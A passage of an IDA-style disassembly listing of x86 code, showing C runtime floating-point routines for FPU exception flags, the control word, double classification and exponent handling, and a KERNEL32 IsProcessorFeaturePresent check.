		and	edx, 0FFFFFFFEh
		or	ecx, edx
		mov	[eax+8], ecx
		call	sub_41C760
		test	al, bl
		jz	short loc_41C146
		mov	ecx, [ebp+arg_0]
		or	dword ptr [ecx+0Ch], 10h


loc_41C146:				; CODE XREF: sub_41C040+FDj
		test	al, 4
		jz	short loc_41C151
		mov	ecx, [ebp+arg_0]
		or	dword ptr [ecx+0Ch], 8


loc_41C151:				; CODE XREF: sub_41C040+108j
		test	al, 8
		jz	short loc_41C15C
		mov	ecx, [ebp+arg_0]
		or	dword ptr [ecx+0Ch], 4


loc_41C15C:				; CODE XREF: sub_41C040+113j
		test	al, 10h
		jz	short loc_41C166
		mov	ecx, [ebp+arg_0]
		or	[ecx+0Ch], edi


loc_41C166:				; CODE XREF: sub_41C040+11Ej
		test	al, 20h
		jz	short loc_41C170
		mov	eax, [ebp+arg_0]
		or	[eax+0Ch], ebx


loc_41C170:				; CODE XREF: sub_41C040+128j
		mov	eax, [esi]
		mov	ecx, 0C00h
		and	eax, ecx
		jz	short loc_41C1AF
		cmp	eax, 400h
		jz	short loc_41C1A1
		cmp	eax, 800h
		jz	short loc_41C195
		cmp	eax, ecx
		jnz	short loc_41C1B5
		mov	eax, [ebp+arg_0]
		or	dword ptr [eax], 3
		jmp	short loc_41C1B5
; ---------------------------------------------------------------------------


loc_41C195:				; CODE XREF: sub_41C040+147j
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		and	ecx, 0FFFFFFFEh
		or	ecx, edi
		jmp	short loc_41C1AB
; ---------------------------------------------------------------------------


loc_41C1A1:				; CODE XREF: sub_41C040+140j
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		and	ecx, 0FFFFFFFDh
		or	ecx, ebx


loc_41C1AB:				; CODE XREF: sub_41C040+15Fj
		mov	[eax], ecx
		jmp	short loc_41C1B5
; ---------------------------------------------------------------------------


loc_41C1AF:				; CODE XREF: sub_41C040+139j
		mov	eax, [ebp+arg_0]
		and	dword ptr [eax], 0FFFFFFFCh


loc_41C1B5:				; CODE XREF: sub_41C040+14Bj
					; sub_41C040+153j ...
		mov	eax, [esi]
		mov	ecx, 300h
		and	eax, ecx
		jz	short loc_41C1E0
		cmp	eax, 200h
		jz	short loc_41C1D3
		cmp	eax, ecx
		jnz	short loc_41C1ED
		mov	eax, [ebp+arg_0]
		and	dword ptr [eax], 0FFFFFFE3h
		jmp	short loc_41C1ED
; ---------------------------------------------------------------------------


loc_41C1D3:				; CODE XREF: sub_41C040+185j
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		and	ecx, 0FFFFFFE7h
		or	ecx, 4
		jmp	short loc_41C1EB
; ---------------------------------------------------------------------------


loc_41C1E0:				; CODE XREF: sub_41C040+17Ej
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		and	ecx, 0FFFFFFEBh
		or	ecx, 8


loc_41C1EB:				; CODE XREF: sub_41C040+19Ej
		mov	[eax], ecx


loc_41C1ED:				; CODE XREF: sub_41C040+189j
					; sub_41C040+191j
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+arg_C]
		and	ecx, 0FFFh
		mov	edx, [eax]
		shl	ecx, 5
		and	edx, 0FFFE001Fh
		or	ecx, edx
		mov	[eax], ecx
		mov	eax, [ebp+arg_0]
		or	[eax+20h], ebx
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+20h]
		and	ecx, 0FFFFFFE3h
		or	ecx, edi
		mov	[eax+20h], ecx
		mov	eax, [ebp+arg_10]
		fld	qword ptr [eax]
		mov	eax, [ebp+arg_0]
		fstp	qword ptr [eax+10h]
		mov	eax, [ebp+arg_0]
		or	[eax+50h], ebx
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+50h]
		and	ecx, 0FFFFFFE3h
		or	ecx, edi
		mov	edi, [ebp+arg_14]
		mov	[eax+50h], ecx
		mov	eax, [ebp+arg_0]
		fld	qword ptr [edi]
		fstp	qword ptr [eax+40h]
		call	sub_41C76E
		lea	eax, [ebp+arg_0]
		push	eax
		push	ebx
		push	0
		push	[ebp+arg_8]
		call	near ptr 2860000h
		nop
		mov	eax, [ebp+arg_0]
		test	byte ptr [eax+8], 10h
		jz	short loc_41C267
		and	dword ptr [esi], 0FFFFFFFEh


loc_41C267:				; CODE XREF: sub_41C040+222j
		test	byte ptr [eax+8], 8
		jz	short loc_41C270
		and	dword ptr [esi], 0FFFFFFFBh


loc_41C270:				; CODE XREF: sub_41C040+22Bj
		test	byte ptr [eax+8], 4
		jz	short loc_41C279
		and	dword ptr [esi], 0FFFFFFF7h


loc_41C279:				; CODE XREF: sub_41C040+234j
		test	byte ptr [eax+8], 2
		jz	short loc_41C282
		and	dword ptr [esi], 0FFFFFFEFh


loc_41C282:				; CODE XREF: sub_41C040+23Dj
		test	[eax+8], bl
		jz	short loc_41C28A
		and	dword ptr [esi], 0FFFFFFDFh


loc_41C28A:				; CODE XREF: sub_41C040+245j
		mov	ecx, [eax]
		mov	edx, 0FFFFF3FFh
		and	ecx, 3
		sub	ecx, 0
		jz	short loc_41C2BE
		dec	ecx
		jz	short loc_41C2B2
		dec	ecx
		jz	short loc_41C2A8
		dec	ecx
		jnz	short loc_41C2C0
		or	byte ptr [esi+1], 0Ch
		jmp	short loc_41C2C0
; ---------------------------------------------------------------------------


loc_41C2A8:				; CODE XREF: sub_41C040+25Dj
		mov	ecx, [esi]
		and	ch, 0FBh
		or	ch, 8
		jmp	short loc_41C2BA
; ---------------------------------------------------------------------------


loc_41C2B2:				; CODE XREF: sub_41C040+25Aj
		mov	ecx, [esi]
		and	ch, 0F7h
		or	ch, 4


loc_41C2BA:				; CODE XREF: sub_41C040+270j
		mov	[esi], ecx
		jmp	short loc_41C2C0
; ---------------------------------------------------------------------------


loc_41C2BE:				; CODE XREF: sub_41C040+257j
		and	[esi], edx


loc_41C2C0:				; CODE XREF: sub_41C040+260j
					; sub_41C040+266j ...
		mov	ecx, [eax]
		shr	ecx, 2
		and	ecx, 7
		sub	ecx, 0
		jz	short loc_41C2E0
		dec	ecx
		jz	short loc_41C2D7
		dec	ecx
		jnz	short loc_41C2E9
		and	[esi], edx
		jmp	short loc_41C2E9
; ---------------------------------------------------------------------------


loc_41C2D7:				; CODE XREF: sub_41C040+28Ej
		mov	ecx, [esi]
		and	ecx, edx
		or	ch, 2
		jmp	short loc_41C2E7
; ---------------------------------------------------------------------------


loc_41C2E0:				; CODE XREF: sub_41C040+28Bj
		mov	ecx, [esi]
		and	ecx, edx
		or	ch, 3


loc_41C2E7:				; CODE XREF: sub_41C040+29Ej
		mov	[esi], ecx


loc_41C2E9:				; CODE XREF: sub_41C040+291j
					; sub_41C040+295j
		fld	qword ptr [eax+40h]
		fstp	qword ptr [edi]
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_41C040	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C2F3	proc near		; CODE XREF: sub_41BFA8+10p

var_24		= qword	ptr -24h
var_C		= qword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		mov	eax, [ebp+arg_0]
		push	ebx
		push	edi
		mov	edi, eax
		and	edi, 1Fh
		push	1
		test	al, 8
		pop	ebx
		jz	short loc_41C31E
		test	byte ptr [ebp+arg_8], bl
		jz	short loc_41C31E
		push	ebx
		call	sub_41C7A0
		pop	ecx
		and	edi, 0FFFFFFF7h
		jmp	loc_41C4E8
; ---------------------------------------------------------------------------


loc_41C31E:				; CODE XREF: sub_41C2F3+15j
					; sub_41C2F3+1Aj
		test	al, 4
		jz	short loc_41C338
		test	byte ptr [ebp+arg_8], 4
		jz	short loc_41C338
		push	4
		call	sub_41C7A0
		pop	ecx
		and	edi, 0FFFFFFFBh
		jmp	loc_41C4E8
; ---------------------------------------------------------------------------


loc_41C338:				; CODE XREF: sub_41C2F3+2Dj
					; sub_41C2F3+33j
		test	al, bl
		jz	loc_41C412
		test	byte ptr [ebp+arg_8], 8
		jz	loc_41C412
		push	8
		call	sub_41C7A0
		pop	ecx
		mov	eax, 0C00h
		mov	ecx, [ebp+arg_8]
		and	ecx, eax
		jz	loc_41C3EA
		cmp	ecx, 400h
		jz	short loc_41C3C2
		cmp	ecx, 800h
		jz	short loc_41C39A
		cmp	ecx, eax
		jnz	loc_41C40A
		mov	ecx, [ebp+arg_4]
		fld	qword ptr [ecx]
		fcomp	dbl_424818
		fld	dbl_43B8D0
		fnstsw	ax
		sahf
		ja	short loc_41C392
		fchs


loc_41C392:				; CODE XREF: sub_41C2F3+9Bj
		fstp	[ebp+var_C]
		fld	[ebp+var_C]
		jmp	short loc_41C408
; ---------------------------------------------------------------------------


loc_41C39A:				; CODE XREF: sub_41C2F3+7Dj
		mov	ecx, [ebp+arg_4]
		fld	qword ptr [ecx]
		fcomp	dbl_424818
		fnstsw	ax
		sahf
		jbe	short loc_41C3B2
		fld	dbl_43B8C0
		jmp	short loc_41C3BA
; ---------------------------------------------------------------------------


loc_41C3B2:				; CODE XREF: sub_41C2F3+B5j
		fld	dbl_43B8D0
		fchs


loc_41C3BA:				; CODE XREF: sub_41C2F3+BDj
		fstp	[ebp+var_C]
		fld	[ebp+var_C]
		jmp	short loc_41C408
; ---------------------------------------------------------------------------


loc_41C3C2:				; CODE XREF: sub_41C2F3+75j
		mov	ecx, [ebp+arg_4]
		fld	qword ptr [ecx]
		fcomp	dbl_424818
		fnstsw	ax
		sahf
		jbe	short loc_41C3DA
		fld	dbl_43B8D0
		jmp	short loc_41C3E2
; ---------------------------------------------------------------------------


loc_41C3DA:				; CODE XREF: sub_41C2F3+DDj
		fld	dbl_43B8C0
		fchs


loc_41C3E2:				; CODE XREF: sub_41C2F3+E5j
		fstp	[ebp+var_C]
		fld	[ebp+var_C]
		jmp	short loc_41C408
; ---------------------------------------------------------------------------


loc_41C3EA:				; CODE XREF: sub_41C2F3+69j
		mov	ecx, [ebp+arg_4]
		fld	qword ptr [ecx]
		fcomp	dbl_424818
		fld	dbl_43B8C0
		fnstsw	ax
		sahf
		ja	short loc_41C402
		fchs


loc_41C402:				; CODE XREF: sub_41C2F3+10Bj
		fstp	[ebp+var_C]
		fld	[ebp+var_C]


loc_41C408:				; CODE XREF: sub_41C2F3+A5j
					; sub_41C2F3+CDj ...
		fstp	qword ptr [ecx]


loc_41C40A:				; CODE XREF: sub_41C2F3+81j
		and	edi, 0FFFFFFFEh
		jmp	loc_41C4E8
; ---------------------------------------------------------------------------


loc_41C412:				; CODE XREF: sub_41C2F3+47j
					; sub_41C2F3+51j
		test	al, 2
		jz	loc_41C4E8
		test	byte ptr [ebp+arg_8], 10h
		jz	loc_41C4E8
		push	esi
		xor	esi, esi
		test	al, 10h
		jz	short loc_41C42D
		mov	esi, ebx


loc_41C42D:				; CODE XREF: sub_41C2F3+136j
		mov	eax, [ebp+arg_4]
		fld	qword ptr [eax]
		fstp	[ebp+var_C]
		fld	[ebp+var_C]
		fcomp	dbl_424818
		fnstsw	ax
		sahf
		jz	loc_41C4D6
		fld	[ebp+var_C]
		lea	eax, [ebp+var_4]
		push	eax		; int
		push	ecx
		push	ecx		; double
		fstp	[esp+24h+var_24]
		call	sub_41C69F
		mov	eax, [ebp+var_4]
		add	esp, 0Ch
		fstp	[ebp+var_C]
		lea	ecx, [eax-600h]
		cmp	ecx, 0FFFFFBCEh
		jge	short loc_41C478
		fldz
		mov	esi, ebx
		fstp	[ebp+var_C]
		jmp	short loc_41C4CC
; ---------------------------------------------------------------------------


loc_41C478:				; CODE XREF: sub_41C2F3+17Aj
		fld	[ebp+var_C]
		fcomp	dbl_424818
		fnstsw	ax
		sahf
		jnb	short loc_41C48A
		mov	edx, ebx
		jmp	short loc_41C48C
; ---------------------------------------------------------------------------


loc_41C48A:				; CODE XREF: sub_41C2F3+191j
		xor	edx, edx


loc_41C48C:				; CODE XREF: sub_41C2F3+195j
		mov	al, byte ptr [ebp+var_C+6]
		and	eax, 0Fh
		or	al, 10h
		mov	word ptr [ebp+var_C+6],	ax
		mov	eax, 0FFFFFC03h
		cmp	ecx, eax
		jge	short loc_41C4C0
		sub	eax, ecx


loc_41C4A3:				; CODE XREF: sub_41C2F3+1CBj
		test	byte ptr [ebp+var_C], bl
		jz	short loc_41C4AE
		test	esi, esi
		jnz	short loc_41C4AE
		mov	esi, ebx


loc_41C4AE:				; CODE XREF: sub_41C2F3+1B3j
					; sub_41C2F3+1B7j
		shr	dword ptr [ebp+var_C], 1
		test	byte ptr [ebp+var_C+4],	bl
		jz	short loc_41C4BA
		or	byte ptr [ebp+var_C+3],	80h


loc_41C4BA:				; CODE XREF: sub_41C2F3+1C1j
		shr	dword ptr [ebp+var_C+4], 1
		dec	eax
		jnz	short loc_41C4A3


loc_41C4C0:				; CODE XREF: sub_41C2F3+1ACj
		test	edx, edx
		jz	short loc_41C4CC
		fld	[ebp+var_C]
		fchs
		fstp	[ebp+var_C]


loc_41C4CC:				; CODE XREF: sub_41C2F3+183j
					; sub_41C2F3+1CFj
		fld	[ebp+var_C]
		mov	eax, [ebp+arg_4]
		fstp	qword ptr [eax]
		jmp	short loc_41C4D8
; ---------------------------------------------------------------------------


loc_41C4D6:				; CODE XREF: sub_41C2F3+14Ej
		mov	esi, ebx


loc_41C4D8:				; CODE XREF: sub_41C2F3+1E1j
		test	esi, esi
		pop	esi
		jz	short loc_41C4E5
		push	10h
		call	sub_41C7A0
		pop	ecx


loc_41C4E5:				; CODE XREF: sub_41C2F3+1E8j
		and	edi, 0FFFFFFFDh


loc_41C4E8:				; CODE XREF: sub_41C2F3+26j
					; sub_41C2F3+40j ...
		test	byte ptr [ebp+arg_0], 10h
		jz	short loc_41C4FF
		test	byte ptr [ebp+arg_8], 20h
		jz	short loc_41C4FF
		push	20h
		call	sub_41C7A0
		pop	ecx
		and	edi, 0FFFFFFEFh


loc_41C4FF:				; CODE XREF: sub_41C2F3+1F9j
					; sub_41C2F3+1FFj
		xor	eax, eax
		test	edi, edi
		pop	edi
		pop	ebx
		setz	al
		leave
		retn
sub_41C2F3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_41C50A(int,int,int,int,int,int,double,int)

sub_41C50A	proc near		; CODE XREF: sub_41BF55+2Bp
					; sub_41BFA8+72p

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= qword	ptr -8
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= qword	ptr  20h
arg_20		= dword	ptr  28h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		push	[ebp+arg_4]
		call	sub_41C5B8
		test	eax, eax
		pop	ecx
		mov	[ebp+var_1C], eax
		jz	short loc_41C575
		mov	eax, [ebp+arg_8]
		push	esi
		mov	[ebp+var_18], eax
		mov	eax, [ebp+arg_C]
		mov	[ebp+var_14], eax
		mov	eax, [ebp+arg_10]
		mov	esi, [ebp+arg_0]
		mov	[ebp+var_10], eax
		mov	eax, [ebp+arg_14]
		push	0FFFFh
		push	[ebp+arg_20]
		mov	[ebp+var_C], eax
		mov	eax, dword ptr [ebp+arg_18]
		mov	[ebp+var_20], esi
		mov	dword ptr [ebp+var_8], eax
		mov	eax, dword ptr [ebp+arg_18+4]
		mov	dword ptr [ebp+var_8+4], eax
		call	sub_41C77D
		lea	eax, [ebp+var_20]
		push	eax
		call	sub_42017F
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_41C56F
		push	esi
		call	sub_41C592
		pop	ecx


loc_41C56F:				; CODE XREF: sub_41C50A+5Cj
		fld	[ebp+var_8]
		pop	esi
		leave
		retn
; ---------------------------------------------------------------------------


loc_41C575:				; CODE XREF: sub_41C50A+14j
		push	0FFFFh
		push	[ebp+arg_20]
		call	sub_41C77D
		push	[ebp+arg_0]
		call	sub_41C592
		fld	[ebp+arg_18]
		add	esp, 0Ch
		leave
		retn
sub_41C50A	endp


; =============== S U B	R O U T	I N E =======================================



sub_41C592	proc near		; CODE XREF: sub_41BFA8+7Dp
					; sub_41C50A+5Fp ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		cmp	eax, 1
		jz	short loc_41C5AD
		jle	short locret_41C5B7
		cmp	eax, 3
		jg	short locret_41C5B7
		mov	dword_48A014, 22h
		retn
; ---------------------------------------------------------------------------


loc_41C5AD:				; CODE XREF: sub_41C592+7j
		mov	dword_48A014, 21h

locret_41C5B7:				; CODE XREF: sub_41C592+9j
					; sub_41C592+Ej
		retn
sub_41C592	endp


; =============== S U B	R O U T	I N E =======================================



sub_41C5B8	proc near		; CODE XREF: sub_41C50A+9p

arg_0		= dword	ptr  4

		xor	ecx, ecx
		mov	eax, offset dword_43B7E8


loc_41C5BF:				; CODE XREF: sub_41C5B8+18j
		mov	edx, [eax]
		cmp	edx, [esp+arg_0]
		jz	short loc_41C5D5
		add	eax, 8
		inc	ecx
		cmp	eax, offset dbl_43B8C0
		jl	short loc_41C5BF
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_41C5D5:				; CODE XREF: sub_41C5B8+Dj
		mov	eax, off_43B7EC[ecx*8]
		retn
sub_41C5B8	endp


; =============== S U B	R O U T	I N E =======================================



sub_41C5DD	proc near		; CODE XREF: sub_41BFA8+41p

arg_0		= byte ptr  4

		mov	al, [esp+arg_0]
		test	al, 20h
		jz	short loc_41C5E9
		push	5
		jmp	short loc_41C5FF
; ---------------------------------------------------------------------------


loc_41C5E9:				; CODE XREF: sub_41C5DD+6j
		test	al, 8
		jz	short loc_41C5F1
		push	1
		jmp	short loc_41C5FF
; ---------------------------------------------------------------------------


loc_41C5F1:				; CODE XREF: sub_41C5DD+Ej
		test	al, 4
		jz	short loc_41C5F9
		push	2
		jmp	short loc_41C5FF
; ---------------------------------------------------------------------------


loc_41C5F9:				; CODE XREF: sub_41C5DD+16j
		test	al, 1
		jz	short loc_41C601
		push	3


loc_41C5FF:				; CODE XREF: sub_41C5DD+Aj
					; sub_41C5DD+12j ...
		pop	eax
		retn
; ---------------------------------------------------------------------------


loc_41C601:				; CODE XREF: sub_41C5DD+1Ej
		movzx	eax, al
		and	eax, 2
		shl	eax, 1
		retn
sub_41C5DD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_41C60A(double)

sub_41C60A	proc near		; CODE XREF: sub_417CA4:loc_417D2Ap
					; sub_417DEB:loc_417E71p

var_8		= qword	ptr -8
arg_0		= qword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		fld	[ebp+arg_0]
		frndint
		fstp	[ebp+var_8]
		fld	[ebp+var_8]
		leave
		retn
sub_41C60A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_41C61C(double,int)

sub_41C61C	proc near		; CODE XREF: sub_41C69F+82p
					; sub_41C69F+98p

var_8		= qword	ptr -8
arg_0		= qword	ptr  8
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	eax, [ebp+arg_8]
		mov	ecx, [ebp+0Eh]
		fld	[ebp+arg_0]
		add	eax, 3FEh
		and	cx, 800Fh
		fstp	[ebp+var_8]
		shl	eax, 4
		or	eax, ecx
		mov	word ptr [ebp+var_8+6],	ax
		fld	[ebp+var_8]
		leave
		retn
sub_41C61C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C645	proc near		; CODE XREF: sub_417CA4+31p
					; sub_417DEB+31p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		xor	edx, edx
		cmp	[ebp+arg_4], 7FF00000h
		jnz	short loc_41C65C
		cmp	[ebp+arg_0], edx
		jnz	short loc_41C66E
		push	1
		jmp	short loc_41C698
; ---------------------------------------------------------------------------


loc_41C65C:				; CODE XREF: sub_41C645+Cj
		cmp	[ebp+arg_4], 0FFF00000h
		jnz	short loc_41C66E
		cmp	[ebp+arg_0], edx
		jnz	short loc_41C66E
		push	2
		jmp	short loc_41C698
; ---------------------------------------------------------------------------


loc_41C66E:				; CODE XREF: sub_41C645+11j
					; sub_41C645+1Ej ...
		mov	ecx, [ebp+arg_4+2]
		mov	eax, 7FF8h
		and	ecx, eax
		cmp	cx, ax
		jnz	short loc_41C681
		push	3
		jmp	short loc_41C698
; ---------------------------------------------------------------------------


loc_41C681:				; CODE XREF: sub_41C645+36j
		cmp	cx, 7FF0h
		jnz	short loc_41C69B
		test	[ebp+arg_4], 7FFFFh
		jnz	short loc_41C696
		cmp	[ebp+arg_0], edx
		jz	short loc_41C69B


loc_41C696:				; CODE XREF: sub_41C645+4Aj
		push	4


loc_41C698:				; CODE XREF: sub_41C645+15j
					; sub_41C645+27j ...
		pop	eax
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_41C69B:				; CODE XREF: sub_41C645+41j
					; sub_41C645+4Fj
		xor	eax, eax
		pop	ebp
		retn
sub_41C645	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_41C69F(double,int)

sub_41C69F	proc near		; CODE XREF: sub_41C2F3+160p

var_18		= qword	ptr -18h
var_8		= qword	ptr -8
arg_0		= qword	ptr  8
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		fld	[ebp+arg_0]
		fcomp	dbl_424818
		push	esi
		fnstsw	ax
		sahf
		jnz	short loc_41C6BF
		fldz
		xor	esi, esi
		fstp	[ebp+var_8]
		jmp	loc_41C755
; ---------------------------------------------------------------------------


loc_41C6BF:				; CODE XREF: sub_41C69F+12j
		xor	ecx, ecx
		test	word ptr [ebp+arg_0+6],	7FF0h
		jnz	short loc_41C72E
		test	dword ptr [ebp+arg_0+4], 0FFFFFh
		jnz	short loc_41C6D7
		cmp	dword ptr [ebp+arg_0], ecx
		jz	short loc_41C72E


loc_41C6D7:				; CODE XREF: sub_41C69F+31j
		fld	[ebp+arg_0]
		fcomp	dbl_424818
		mov	esi, 0FFFFFC03h
		fnstsw	ax
		sahf
		jnb	short loc_41C6EF
		push	1
		pop	eax
		jmp	short loc_41C6F1
; ---------------------------------------------------------------------------


loc_41C6EF:				; CODE XREF: sub_41C69F+49j
		xor	eax, eax


loc_41C6F1:				; CODE XREF: sub_41C69F+4Ej
					; sub_41C69F+69j
		test	byte ptr [ebp+arg_0+6],	10h
		jnz	short loc_41C70A
		shl	dword ptr [ebp+arg_0+4], 1
		test	byte ptr [ebp+arg_0+3],	80h
		jz	short loc_41C704
		or	dword ptr [ebp+arg_0+4], 1


loc_41C704:				; CODE XREF: sub_41C69F+5Fj
		shl	dword ptr [ebp+arg_0], 1
		dec	esi
		jmp	short loc_41C6F1
; ---------------------------------------------------------------------------


loc_41C70A:				; CODE XREF: sub_41C69F+56j
		and	word ptr [ebp+arg_0+6],	0FFEFh
		cmp	eax, ecx
		jz	short loc_41C718
		or	byte ptr [ebp+arg_0+7],	80h


loc_41C718:				; CODE XREF: sub_41C69F+73j
		fld	[ebp+arg_0]
		push	ecx		; int
		push	ecx
		push	ecx		; double
		fstp	[esp+18h+var_18]
		call	sub_41C61C
		fstp	[ebp+var_8]
		add	esp, 0Ch
		jmp	short loc_41C755
; ---------------------------------------------------------------------------


loc_41C72E:				; CODE XREF: sub_41C69F+28j
					; sub_41C69F+36j
		fld	[ebp+arg_0]
		push	ecx		; int
		push	ecx
		push	ecx		; double
		fstp	[esp+18h+var_18]
		call	sub_41C61C
		mov	eax, dword ptr [ebp+arg_0+6]
		add	esp, 0Ch
		fstp	[ebp+var_8]
		shr	eax, 4
		and	ax, 7FFh
		movsx	esi, ax
		sub	esi, 3FEh


loc_41C755:				; CODE XREF: sub_41C69F+1Bj
					; sub_41C69F+8Dj
		mov	eax, [ebp+arg_8]
		fld	[ebp+var_8]
		mov	[eax], esi
		pop	esi
		leave
		retn
sub_41C69F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C760	proc near		; CODE XREF: sub_41C040+F6p

var_2		= word ptr -2

		push	ebp
		mov	ebp, esp
		push	ecx
		fstsw	[ebp+var_2]
		movsx	eax, [ebp+var_2]
		leave
		retn
sub_41C760	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C76E	proc near		; CODE XREF: sub_41C040+206p

var_2		= word ptr -2

		push	ebp
		mov	ebp, esp
		push	ecx
		fnstsw	[ebp+var_2]
		fnclex
		movsx	eax, [ebp+var_2]
		leave
		retn
sub_41C76E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C77D	proc near		; CODE XREF: sub_417CA4+13p
					; sub_417CA4+5Dp ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		fstcw	word ptr [ebp+var_4]
		mov	eax, [ebp+arg_4]
		mov	ecx, eax
		and	eax, [ebp+arg_0]
		not	ecx
		and	ecx, [ebp+var_4]
		or	ecx, eax
		mov	[ebp+arg_4], ecx
		fldcw	word ptr [ebp+arg_4]
		movsx	eax, word ptr [ebp+var_4]
		leave
		retn
sub_41C77D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C7A0	proc near		; CODE XREF: sub_41C2F3+1Dp
					; sub_41C2F3+37p ...

var_8		= qword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	cl, byte ptr [ebp+arg_0]
		test	cl, 1
		jz	short loc_41C7B7
		fld	tbyte_43B8E8
		fistp	[ebp+arg_0]
		wait


loc_41C7B7:				; CODE XREF: sub_41C7A0+Bj
		test	cl, 8
		jz	short loc_41C7CC
		fstsw	ax
		fld	tbyte_43B8E8
		fstp	[ebp+var_8]
		wait
		fstsw	ax


loc_41C7CC:				; CODE XREF: sub_41C7A0+1Aj
		test	cl, 10h
		jz	short loc_41C7DB
		fld	tbyte_43B8F4
		fstp	[ebp+var_8]
		wait


loc_41C7DB:				; CODE XREF: sub_41C7A0+2Fj
		test	cl, 4
		jz	short loc_41C7E9
		fldz
		fld1
		fdivrp	st(1), st
		fstp	st
		wait


loc_41C7E9:				; CODE XREF: sub_41C7A0+3Ej
		test	cl, 20h
		jz	short locret_41C7F4
		fldpi
		fstp	[ebp+var_8]
		wait

locret_41C7F4:				; CODE XREF: sub_41C7A0+4Cj
		leave
		retn
sub_41C7A0	endp


; =============== S U B	R O U T	I N E =======================================



sub_41C7F6	proc near		; CODE XREF: sub_417D73+Fp
		push	30000h
		push	10000h
		call	sub_4201B7
		pop	ecx
		pop	ecx
		retn
sub_41C7F6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C808	proc near		; CODE XREF: sub_41C846:loc_41C86Aj

var_18		= qword	ptr -18h
var_10		= qword	ptr -10h
var_8		= qword	ptr -8

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		fld	dbl_424828
		fstp	[ebp+var_8]
		fld	dbl_424820
		fstp	[ebp+var_10]
		fld	[ebp+var_10]
		fdiv	[ebp+var_8]
		fmul	[ebp+var_8]
		fsubr	[ebp+var_10]
		fstp	[ebp+var_18]
		fld	[ebp+var_18]
		fcomp	dbl_4246A8
		fnstsw	ax
		sahf
		jbe	short loc_41C842
		push	1
		pop	eax
		leave
		retn
; ---------------------------------------------------------------------------


loc_41C842:				; CODE XREF: sub_41C808+33j
		xor	eax, eax
		leave
		retn
sub_41C808	endp


; =============== S U B	R O U T	I N E =======================================



sub_41C846	proc near		; CODE XREF: sub_417D73+5p
		push	offset aKernel32 ; "KERNEL32"
		call	near ptr 2710C80h
		nop
		test	eax, eax
		jz	short loc_41C86A
		push	offset aIsprocessorfea ; "IsProcessorFeaturePresent"
		push	eax
		nop
		call	near ptr 26E064Fh
		test	eax, eax
		jz	short loc_41C86A
		push	0
		call	eax
		retn
; ---------------------------------------------------------------------------


loc_41C86A:				; CODE XREF: sub_41C846+Dj
					; sub_41C846+1Dj
		jmp	sub_41C808
sub_41C846	endp


; =============== S U B	R O U T	I N E =======================================



sub_41C86F	proc near		; CODE XREF: sub_419E38+3CBp
					; DATA XREF: sub_417D8B+1Eo ...

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		movsx	eax, byte ptr [esi]
		push	eax
		call	sub_419101
		cmp	eax, 65h
		pop	ecx
		jz	short loc_41C8AF


loc_41C883:				; CODE XREF: sub_41C86F+3Ej
		inc	esi
		cmp	dword_4397AC, 1
		jle	short loc_41C89C
		movsx	eax, byte ptr [esi]
		push	4
		push	eax
		call	sub_41A642
		pop	ecx
		pop	ecx
		jmp	short loc_41C8AB
; ---------------------------------------------------------------------------


loc_41C89C:				; CODE XREF: sub_41C86F+1Cj
		movsx	eax, byte ptr [esi]
		mov	ecx, off_4395A0
		mov	al, [ecx+eax*2]
		and	eax, 4


loc_41C8AB:				; CODE XREF: sub_41C86F+2Bj
		test	eax, eax
		jnz	short loc_41C883


loc_41C8AF:				; CODE XREF: sub_41C86F+12j
		mov	cl, byte_4397B0
		mov	al, [esi]
		mov	[esi], cl
		inc	esi


loc_41C8BA:				; CODE XREF: sub_41C86F+56j
		mov	cl, [esi]
		mov	[esi], al
		mov	al, cl
		mov	cl, [esi]
		inc	esi
		test	cl, cl
		jnz	short loc_41C8BA
		pop	esi
		retn
